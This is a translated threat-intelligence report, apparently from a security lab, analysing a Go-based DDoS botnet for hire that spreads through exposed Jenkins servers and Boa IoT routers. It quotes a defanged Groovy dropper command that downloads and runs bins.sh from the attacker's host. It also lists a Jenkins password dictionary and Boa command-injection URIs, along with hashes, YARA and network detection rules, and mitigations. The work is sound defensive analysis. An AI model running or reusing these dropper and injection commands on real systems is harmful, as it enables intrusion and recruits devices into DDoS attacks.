Эта страница является переводом. Авторитетным считается текст английской версии. Читать на английском
malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
Кроссплатформенный DDoS-ботнет на Go, сдаваемый в аренду
Kinryū Labs проанализировала bot.exe, сборку под Windows DDoS-ботнета, скомпилированного на Go и распространяемого в виде комплекта дропперов из 11 бинарных файлов под 13 архитектур, доставка которого велась в ходе многодневной кампании эксплуатации Jenkins Script Console. Разведка хоста стейджинга выявила действующий API сервиса DDoS по найму с аутентификацией, командный канал SSH на Go и размещённое на том же хосте семейство линии Mirai. Мы с высокой уверенностью оцениваем это как коммерческую операцию по предоставлению DDoS-атак по найму.
Автор Davis Zheng·
TLP:CLEAR. Разрешено к публичному распространению. Получено сенсорной сетью honeypot Kinryū Labs. Индикаторы ниже приведены в обезвреженном виде.
Резюме
- 13сборок под архитектуры, 11 уникальных бинарных файлов
- 5именованных методов DDoS плюс API для заказа атак
- 3скоординированных IP-адреса источника в одной /22
- 2семейства ботнетов на одном хосте
bot.exe представляет собой сборку под Windows x86-64 DDoS-ботнета, скомпилированного на Go и распространяемого в виде мультиархитектурного комплекта дропперов. Сопутствующий шелл-скрипт bins.sh загружает тринадцать архитектурных сборок, одиннадцать из которых уникальны после дедупликации, охватывающих 32- и 64-разрядные x86, четыре профиля ARM, ARM64, Android ARM64, а также MIPS с прямым и обратным порядком байтов, наряду с бинарным файлом под Windows. Комплект попал в сеть honeypot в результате эксплуатации открытого сервера Jenkins.
Вредоносное ПО содержит пять именованных методов флуда (HTTP, TLS-рукопожатие, ICMP, прямой TLS и объёмный метод с меткой VOULT), HTTP-флуд, который ротирует браузерные строки User-Agent и заголовки локали, чтобы походить на легитимный трафик, а также полезные нагрузки для внедрения команд, нацеленные на веб-сервер Boa на устройствах RealTek SDK, ради самораспространения. Разведка хоста стейджинга по адресу 185.226.93[.]242 выявила API сервиса DDoS по найму с аутентификацией на порту 3333, реализованную на Go службу SSH на порту 2222, выполняющую роль командного канала, и анонимную службу FTP, на которой размещено второе семейство ботнета линии Mirai/Gafgyt.
Kinryū Labs с высокой уверенностью оценивает, что bot.exe входит в состав вредоносного самораспространяющегося мультиархитектурного DDoS-ботнета, эксплуатируемого как коммерческий сервис по найму. Оценку подкрепляют три наблюдения: собственные строки бинарного файла, относящиеся к методам атаки и эксплуатации; действующий API для заказа атак на хосте стейджинга оператора, который проверяет параметры задания и требует аутентификации; телеметрия honeypot, фиксирующая продолжительную кампанию с скоординированных адресов источника, доставляющих комплект.
- bot.exe является кроссплатформенным DDoS-ботнетом на Go. Пять различных строк журнала, соответствующих методам флуда, содержат параметры цели и длительности, наряду с механизмом имитации браузера и поддержкой SOCKS5, причём всё это находится в необфусцированных строках и подтверждается действующим API.
- Операция ведётся как коммерческий сервис DDoS по найму. Хост стейджинга публикует на порту 3333 API, который проверяет параметры задания (
user,psw,host,method,time,port) и отклоняет неверные учётные данные. - Ботнет самораспространяется через внедрение команд на устройствах IoT. Бинарный файл несёт полезную нагрузку внедрения команд в обработчик Boa
formSysCmd, ветку перебора учётных данных к панели маршрутизатора и экспортируемые функцииloginDeviceиloginDeviceCaptcha, внедряя ту же однострочную команду дроппера, что зафиксирована в журналах honeypot. - Три IP-адреса источника принадлежат одному оператору. Три адреса в
185.226.92[.]0/22доставляли идентичные полезные нагрузки со согласованным таймингом и общим списком учётных данных, а IP-адреса доставки и стейджинга предъявляют идентичные хост-ключи SSH, что указывает на один хост или клонированные образы.
Доставка: продолжительная кампания через Jenkins Script Console
Комплект доставлялся путём эксплуатации экземпляра Jenkins, доступного из интернета. Телеметрия honeypot зафиксировала неизменную двухшаговую схему: запрос GET /crumbIssuer/api/json для получения CSRF-токена, за которым следовал POST /script с полезной нагрузкой Groovy для Script Console. Полезная нагрузка была идентична во всех попытках и приведена здесь в обезвреженном виде:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
Запросы содержали заголовок Authorization: Basic, перебиравший короткий словарь слабых числовых паролей для учётной записи admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), что характерно для автоматизированного списка учётных данных, а не для целенаправленной аутентификации.
Кампания продолжалась несколько дней и шла повторяющимися волнами:
- Волна 1Первые пробы: проверка CSRF-crumb, затем Groovy RCE, с IP-адреса стейджинга и второго адреса из того же блока.
- Перехват
bins.shи все тринадцать вариантов были получены дважды с интервалом примерно в четырнадцать часов, каждый раз побайтово идентичными. - Последующие волныПараллельная эксплуатация со всех трёх IP-адресов источника с разницей в считаные минуты, с ротацией User-Agent.
В запросах эксплуатации ротировался обширный набор правдоподобных браузерных User-Agent, тогда как разведывательное сканирование в поиске новых целей Jenkins (обращение к /login, за которым следовала быстрая серия запросов /script) использовало значение по умолчанию Go-http-client/1.1. Подделанные User-Agent сопровождают полезные нагрузки эксплуатации; сканер работает через штатный Go-клиент ботнета. Сам хост стейджинга и C2 участвовал в эксплуатации, то есть атакующая и хостинговая инфраструктура не разделены.
Вредоносное ПО: одна кодовая база на Go, одиннадцать бинарных файлов
Реализация бота на Go позволяет кросс-компилировать одну кодовую базу под любую платформу, нужную оператору. Дроппер проходит по всей линейке, загружая каждую сборку через wget, затем повторно через curl в качестве запасного варианта, выставляя бит исполнения, запуская и удаляя её. В комплект входит Windows-файл .exe, который Linux-дроппер тем не менее прогоняет через chmod +x, а сгенерированная структура скрипта указывает на конвейер сборки и перечисления. После дедупликации тринадцать сборок сводятся к одиннадцати уникальным бинарным файлам: сборки x86 и i386 совпадают, равно как и обобщённая ARM и ARMv7. Разброс архитектур, от MIPS и устаревших ARM до Android, характерен для ботнета, ориентированного на маршрутизаторы, камеры и прочие встраиваемые устройства; сборка под Windows переносит тот же код на настольные системы и серверы.
Бинарный файл не упакован (энтропия секций PE лежит в диапазоне от 5.4 до 6.3) и не лишён символов (Go build ID и символы среды выполнения не повреждены), поэтому его возможности видны прямо в строках. Отметка времени компиляции обнулена, что нормально для сборок Go.
В строках журнала бинарного файла названы пять методов флуда, каждый из которых форматируется с указанием цели и длительности: флуд «HTTP (Optimized)», флуд на истощение через рукопожатие TLS/TCP «Handshake», ICMP-флуд «PING», прямой сессионный флуд «TLS+» и метод «VOULT», объёмный и, вероятно, основанный на UDP. Присутствуют варианты как прикладного, так и сетевого уровня.
HTTP-флуд построен так, чтобы сходить за легитимный трафик. Он ротирует более десяти браузерных строк User-Agent для Chrome, Edge, Opera, Firefox и Safari на Windows, macOS, iPad и Android; пятнадцать локалей Accept-Language; а также заголовки отпечатка sec-fetch-* и sec-ch-ua-*, которые проверяют сервисы фильтрации. Он устанавливает Referer из небольшого набора сайтов с высокой репутацией (google.com, reddit.com, facebook.com, bing.com, twitter.com и fbi.gov). Одна запись в наборе User-Agent представляет собой буквальную строку Hello World, заглушку разработчика, которая даёт чистую сигнатуру обнаружения, поскольку ни один легитимный клиент её не отправляет.
Распространение нацелено на веб-сервер Boa, небольшой встраиваемый HTTP-демон, до сих пор поставляемый на многих маршрутизаторах и камерах на базе RealTek SDK. Бинарный файл несёт полезную нагрузку внедрения команд в обработчик Boa formSysCmd и ветку перебора учётных данных к административным интерфейсам маршрутизаторов, с полями учётных данных в формате JSON и экспортируемыми функциями loginDevice и loginDeviceCaptcha. Внедряемая команда представляет собой однострочник дроппера, поэтому скомпрометированное устройство становится точкой доставки для следующего.
Встроенные модули Go относятся исключительно к стандартным пакетам golang.org/x, сторонний фреймворк C2 не подключён. Среди них chacha20poly1305, http2/hpack, dns/dnsmessage и http/httpproxy, что соответствует наблюдаемым возможностям: канал с аутентифицированным шифрованием, HTTP/2, работа с DNS на низком уровне и проксирование SOCKS5 (присутствуют строки socks5, socks connect и socksUsernamePassword). Конфигурация C2 загружается во время выполнения по адресу hxxp://<C2>/config.dat; единственный жёстко прописанный в бинарном файле адрес указывает на хост стейджинга.
Инфраструктура управления и стейджинга
Разведка хоста стейджинга выявила следующие службы:
| Порт | Служба | Назначение |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, разрешён анонимный вход | Размещение вредоносного ПО (второе семейство, см. ниже) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | Доступ оператора |
| 1001/tcp | Сервер Go net/http | Основной стейджинг: раздаёт bins.sh и варианты сборок |
| 2222/tcp | SSH на Go (SSH-2.0-Go) | Командный канал ботов |
| 3333/tcp | Сервер Go net/http | API сервиса DDoS по найму |
Оценку о сервисе по найму подкрепляют два наблюдения. IP-адрес доставки и хост стейджинга предъявляют идентичные хост-ключи SSH ED25519, RSA и ECDSA, что помещает их на одну машину либо на образы, клонированные с одного шаблона, а служба SSH на Go на порту 2222 предъявляет ключ, отличный от системного OpenSSH на порту 22, что указывает на отдельное приложение, а не на проброс. API на порту 3333 отклоняет запрос из-за отсутствующих параметров (user, psw, host, method, time/duration, port) и возвращает ошибку аутентификации для тестовых учётных данных, при этом все прочие пути отдают 404. Это минималистичный интерфейс коммерческого бутера с аутентификацией на каждый запрос, работающий на действующей инфраструктуре.
Второе семейство на том же хосте
Анонимная служба FTP размещает отдельное семейство ботнета, здесь называемое «boatnet» по именам его файлов. Его дроппер (ohshit1.sh) использует клиент BusyBox ftpget, переименовывает каждый бинарный файл в WTF перед запуском и запускает сборки в фоне под пятнадцать архитектур, включая экзотические встраиваемые цели (ARC, m68k, SH4, SPARC), характерные для линии Mirai/Gafgyt. Бинарные файлы скомпилированы из C в формате ELF, лишены символов и упакованы (энтропия от 7.6 до 7.9 без сигнатуры UPX, что указывает на самописный упаковщик), поэтому статический анализ даёт немного. Артефакты boatnet появились раньше комплекта bot.exe и работают на несвязанной кодовой базе, то есть один хост обслуживает два различных семейства ботнетов.
Хостинг
Оба IP-адреса атакующего входят в 185.226.92[.]0/22, зарегистрированную через RIPE NCC за VPS-провайдером из Турции (имя сети BIGCORE-US, AS205196 / AS57152), с контактом для жалоб abuse@bigcore.net. Мы указываем хостинг-провайдера для целей информирования и не делаем никаких утверждений о личности оператора.
Индикаторы компрометации
Инфраструктура атакующего приведена в обезвреженном виде. Хеши образцов и строки для обнаружения намеренно содержат действующие значения.
Сетевые
| Индикатор | Контекст |
|---|---|
185.226.93[.]242 | Хост стейджинга и C2; также активный сканер |
185.226.92[.]110 | Основной сканер / узел доставки |
185.226.92[.]173 | Вспомогательный сканер |
185.226.92[.]0/22 | Выделенный блок хостинга (BIGCORE, AS205196). Обоснованная блокировка на периметре |
185.226.93[.]242:1001 | HTTP-стейджинг (bins.sh и варианты сборок) |
185.226.93[.]242:2222 | Командный канал SSH на Go |
185.226.93[.]242:3333 | API сервиса DDoS по найму (/api, с проверкой параметров) |
185.226.93[.]242:21 | Анонимный FTP, размещение boatnet |
hxxp://<C2>/config.dat | Шаблон загрузки конфигурации C2 во время выполнения |
/boafrm/formSysCmd, /boafrm/formLogin | URI для RCE и перебора входа на Boa в исходящем распространении |
Хост-ключ SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | Общий для IP-адресов доставки и C2; индикатор для pivot-анализа |
Файлы
| Файл | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (дроппер) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Хеши полного комплекта дропперов (11 уникальных на 13 сборок)
| Сборка | SHA-256 | Размер (байт) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
Артефакты на хосте и учётные данные
- Словарь перебора для Jenkins
admin:1123,123451,1231231,1111111,12345123. ohshit1.sh(дроппер boatnet) и бинарный файл, переименованный вWTFперед запуском.- Характерные User-Agent:
Hello World(HTTP-флуд бота) иGo-http-client/1.1(самосканирование бота).
Поведенческие
- Запрос Jenkins
GET /crumbIssuer/api/json, за которым следуетPOST /scriptс полезной нагрузкой GroovyProcessBuilder('sh','-c', …), загружающейbins.sh. - Исходящие запросы к хосту по пути
/config.dat, которым предшествует строка журналаConnecting to CNC.... - Входящий
POST /boafrm/formSysCmdсsysCmdselect=5и телом видаwget … bins.sh.
Обнаружение
Строки стабильны и не обфусцированы, поэтому сигнатуры составляются просто. Приведённое ниже правило YARA является кандидатом, построенным на проверенных строках; протестируйте его перед развёртыванием.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
Сетевое обнаружение:
- Jenkins: оповещение на тела запросов
POST /script, содержащиеProcessBuilderсwget/curlк «голому» IP-адресу, особенно если им предшествуетGET /crumbIssuer/api/json. - Распространение по IoT:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - Инфраструктура: заблокировать
185.226.92[.]0/22, куда входят адреса доставки и C2, и оповещать об исходящих соединениях к портам 1001, 2222 и 3333 в этом диапазоне.
Меры реагирования
- Не выставляйте Jenkins в интернет. Разместите его за аутентификацией и сетевой изоляцией, отключите Script Console для неадминистраторов и рассматривайте доступный извне сервер сборки как риск полной компрометации хоста. Именно это стало вектором доставки.
- Обеспечьте стойкие учётные данные Jenkins и ограничение частоты попыток аутентификации. Кампания опиралась на короткий словарь слабых числовых паролей для
admin. - Сегментируйте или замените маршрутизаторы и устройства IoT на базе RealTek/Boa и заблокируйте внешний доступ к их административным интерфейсам. Они являются целью распространения ботнета.
- Заблокируйте блок хостинга (
185.226.92[.]0/22) на периметре и настройте оповещения на URI Boa RCE и на шаблон загрузкиconfig.dat. - Фильтруйте исходящий трафик. Хост, обращающийся к «голому» IP-адресу на порту 1001 за файлами с именами архитектур либо подключающийся к портам 2222 или 3333 в этом диапазоне, ведёт себя аномально и поддаётся выявлению там, где обнаружение на уровне хоста отсутствует.
- Сообщите об инфраструктуре. Об API сервиса DDoS по найму и о вредоносном ПО, размещённом на FTP, можно сообщить по контакту для жалоб хостинг-провайдера (
abuse@bigcore.net).
Сопоставление с MITRE ATT&CK
| Тактика | Техника |
|---|---|
| Первоначальный доступ | T1190 Эксплуатация общедоступного приложения (Jenkins Script Console; Boa formSysCmd для распространения) |
| Доступ к учётным данным | T1110.001 Подбор пароля (Jenkins admin); T1110.004 Подстановка учётных данных (вход на устройства IoT) |
| Выполнение | T1059 Интерпретаторы команд и сценариев (Groovy через Script Console; шелл-дроппер для Unix) |
| Разведка | T1046 Сканирование сетевых служб (самосканирование Jenkins/IoT); T1082 Сбор сведений о системе; T1057 Перечисление процессов |
| Обход защиты | T1036 Маскировка (ротация браузерных User-Agent; переименование в WTF у boatnet) |
| Управление и контроль | T1071.001 Веб-протоколы (config.dat); T1573 Шифрованный канал (ChaCha20-Poly1305; SSH на Go на порту 2222); T1571 Нестандартный порт (1001/2222/3333); T1090.001 Внутренний прокси: SOCKS |
| Горизонтальное перемещение / Доставка | T1105 Загрузка инструментов на узел (мультиархитектурный стейджинг) |
| Воздействие | T1498.001 Прямой сетевой флуд (PING, VOULT); T1498.002 Отражение с усилением (истощение через рукопожатие) |
Методология и примечания
- Область работ: статический анализ перехваченных бинарных файлов, которые не запускались, и активная внешняя разведка хоста стейджинга (перечисление служб и баннеров, получение листинга анонимного FTP и неаутентифицированное зондирование API на порту 3333). Аутентификация не обходилась.
- Правило YARA является кандидатом, построенным на проверенных строках; протестируйте его перед развёртыванием. Бинарные файлы boatnet упакованы и дали мало строк.
- Образцы (комплект bot.exe, дроппер и артефакты boatnet) доступны другим исследователям и специалистам по защите по запросу. Напишите на contact@kinryu.sh, коротко указав, кто вы и для чего они вам нужны.